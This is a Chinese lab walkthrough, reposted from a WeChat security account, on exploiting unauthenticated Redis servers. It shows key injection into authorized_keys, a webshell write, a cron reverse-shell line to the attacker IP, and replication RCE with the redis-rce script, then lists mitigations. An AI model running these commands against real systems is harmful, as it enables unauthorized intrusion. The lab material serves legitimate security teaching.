Redis未授权访问漏洞利用方式

admin 2023年6月15日15:43:58评论52 views字数 3631阅读12分6秒阅读模式
实验环境
靶机             192.168.233.130
Kali攻击机  192.168.233.137
实验原理
redis绑定在0.0.0.0:6379且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网。Redis服务没有设置密码认证(此时为空)或者设置弱口令密码,导致攻击者可以远程登录redis服务并进行相关的攻击行为。
漏洞利用条件
  • Redis服务直接暴露在公网上,允许任意用户访问
  • 未开启防火墙或设置安全的防火墙策略
  • Redis服务未设置密码,或者设置的密码为弱口令
  • 以管理员权限运行redis服务
靶场搭建
wget http://download.redis.io/releases/redis-2.8.17.tar.gz #下载redis-2.8.17版本tar xzvf redis-2.8.17.tar.gz #解压安装包cd redis-2.8.17 # 进入redis目录make #编译
Redis未授权访问漏洞利用方式
报错如下
Redis未授权访问漏洞利用方式
make test #检测之前进行的make编译步骤中遗漏的错误,确保服务的编译正常
Redis未授权访问漏洞利用方式
进入src目录下
./redis-server #开启redis服务
Redis未授权访问漏洞利用方式
成功启动如下图
Redis未授权访问漏洞利用方式
实验过程
以下操作无特别说明均为攻击机操作
nmap -sP 192.168.233.0/24 #利用nmap探测存活主机
Redis未授权访问漏洞利用方式
nmap -sV 192.168.233.130 -p 1-65535 #探测靶机开放端口
Redis未授权访问漏洞利用方式
redis-cli -h 192.168.233.130 #利用redis-cli远程连接工具对靶机redis服务进行无密码连接Info #查看关于Redis服务器的各种信息和统计数值
Redis未授权访问漏洞利用方式


redis写入公钥利用私钥登录ssh
如果Redis服务以root身份运行,可以在/root/.ssh/authorized_keys文件中写入SSH公钥,再使用对应私钥登陆靶机即可。
利用条件
  • Redis服务使用ROOT权限运行
  • 安全模式protected-mode处于关闭状态
  • 靶机开放了SSH服务且允许使用密钥登录
ssh-keygen -t rsa#在攻击机中生成ssh公钥和私钥文件,密码为空
Redis未授权访问漏洞利用方式
进入/root/.ssh目录,已经生成了id_rsa,id_rsa.pub两个文件
(echo -e "nn"; cat id_rsa.pub; echo -e "nn") > 1.txt #将生成的公钥保存到1.txt
Redis未授权访问漏洞利用方式
cat 1.txt | redis-cli -h 192.168.233.130 -x set crack  #写入1.txt文件,对应的键名为crack,键值为1.txt中的内容

键名可以是其他字符串,不一定需要写成crack

Redis未授权访问漏洞利用方式

config set dir /root/.ssh/ #用于将Redis数据库备份文件的存放目录修改为/root/.ssh/

Redis未授权访问漏洞利用方式

报错为(error) ERR Changing directory: No such file or directory
这是因为root账户从来没有登录过,在靶机上执行ssh localhost 即可
Redis未授权访问漏洞利用方式
config set dbfilename authorized_keys#设置上传公钥的备份文件名字为authorized_keysconfig get dbfilename#获取数据库文件名(注意是get)
Redis未授权访问漏洞利用方式
Save#保存
Redis未授权访问漏洞利用方式
ssh -i id_rsa root@192.168.233.130#在攻击机使用ssh免密登录靶机
Redis未授权访问漏洞利用方式
报错如上。骗你的,已经连接成功了
(两台攻击机和靶机都是kali,并且使用了finalshell进行操作,所以看起来不明显,但是可以看到攻击机执行连接命令时的目录是.ssh,而连接成功后当前目录已经变化)
Redis未授权访问漏洞利用方式
IP地址已经是靶机的地址
使用exit命令断开ssh连接
Redis未授权访问漏洞利用方式


已知绝对路径写入webshell
如果目标服务器开启了redis服务和web服务,知道web服务器的绝对路径并且具备向该目录下写入文件的权限,就可以通过写入webshell来getshell
利用条件
  • 靶机开启redis服务和web服务
  • 知道web服务器的绝对路径
  • 具备写入目标目录文件的权限
config set dir /var/www/html/ #设置路径为/var/www/html/config set dbfilename shell.php #设置文件名shell.php
Redis未授权访问漏洞利用方式
set shell "rnrnrnrn" #用redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行,另外shell可以为任意字符串save #保存
Redis未授权访问漏洞利用方式
在靶机上查看shell.php,由于此实验前写入了公钥,所以会掺入相关信息
Redis未授权访问漏洞利用方式
python3 -m http.server #利用Python启动http服务
Redis未授权访问漏洞利用方式
利用攻击机直接访问shell.php会询问是否下载
Redis未授权访问漏洞利用方式
攻击机的请求会被http服务器记录
Redis未授权访问漏洞利用方式


利用计划任务写入反弹shell
向靶机的计划任务目录下写入反弹shell,原理类似于上个实验直接写入webshell,但是区别在于这是反向shell,并且不依赖于web服务
利用条件
  • 知道靶机的计划任务目录路径
  • 具备写入目标目录文件的权限
  • 目标系统是Centos上可用,Ubuntu上有限制(理由如下)
1.默认redis写文件后是644的权限,但ubuntu要求执行定时任务件/var/spool/cron/crontabs/权限必须是600也就是-rw-------才会执行,否则会报错,而Centos的定时任务文件权限644也能执行2.redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错3.两个系统的定时任务文件目录不同
nc -nvlp 6666 #在攻击机上开启监听
Redis未授权访问漏洞利用方式
config set dir /var/spool/cron #设置路径set x "n* * * * * bash -i >& /dev/tcp/192.168.233.137/6666 0>&1n"#开启一个交互式的shell,将标准输出利用TCP连接发送给远程主机(另外x可以为任意字符串)config set dbfilename root #设置文件名为rootsave#保存
Redis未授权访问漏洞利用方式
成功写入
在靶机中查看root文件
Redis未授权访问漏洞利用方式
由于靶场搭建在kali上,反弹shell死活过不来,所以借用一下别人的实验图片如下图
Redis未授权访问漏洞利用方式
反弹shell成功。如上,攻击机IP为192.168.241.128,靶机IP为192.168.241.129


利用主从复制RCE
主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机只负责读,主机只负责写。在Reids 4.x之后,通过外部拓展,可以实现在redis中实现一个新的Redis命令,构造恶意.so文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件,即可执行命令。
利用条件
  • 4.x <= Redis <= 5.0.5
  • 空口令或弱口令登录redis服务
利用主场复制RCE容易导致redis服务瘫痪,应该避免使用及做好权限维持

由于此实验需要redis版本为4.x~5.0.5,所以使用vulhub靶场中的4-unacc环境进行
docker-compose up -d #开启环境
Redis未授权访问漏洞利用方式
手动命令比较繁琐,在这里利用脚本进行实验
脚本地址
https://github.com/Ridter/redis-rce
还需要一个so文件地址如下
https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
两个文件都下载解压后,将RedisModules-ExecuteCommand的src目录下的module.so移动到redis-rce-master/redis-rce.py所在目录下,然后切换目录至redis-rce.py所在目录(或者在RedisModules-ExecuteCommand目录下使用命令make进行编译亦可)
Redis未授权访问漏洞利用方式
python3 redis-rce.py -r 192.168.233.130 -p 6379 -L 192.168.233.137 -f module.so #执行脚本(-p为本机端口)
Redis未授权访问漏洞利用方式
脚本运行中
Redis未授权访问漏洞利用方式
脚本利用成功,选项i获取一个交互shell,选项r反弹shell,选项e退出
输入r进行反弹shell,然后输入攻击机ip及监听的端口即可
Redis未授权访问漏洞利用方式
权限为redis
输入选项i获得一个交互shell,应该也是redis权限,不过感觉有点奇怪
Redis未授权访问漏洞利用方式
获取反弹shell会有写入文件的操作,获取反弹shell后如果再重新运行脚本获取交互shell会失败,当然,反弹shell在停止脚本后也不会中断


防范措施
  • 避免redis服务暴露在公网上或者设置IP白名单访问
  • 开启防火墙并设置安全的防火墙策略
  • 更改redis默认端口
  • 设置redis服务登录强密码
  • 禁止非管理员权限用户添加新的公钥,将authorized_keys文件的权限设置为对拥有者只读
  • 在redis服务中禁用高危命令或者将其重命名

原文始发于微信公众号(海底生残月):Redis未授权访问漏洞利用方式

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月15日15:43:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Redis未授权访问漏洞利用方式https://cn-sec.com/archives/1809846.html

发表评论

匿名网友 填写信息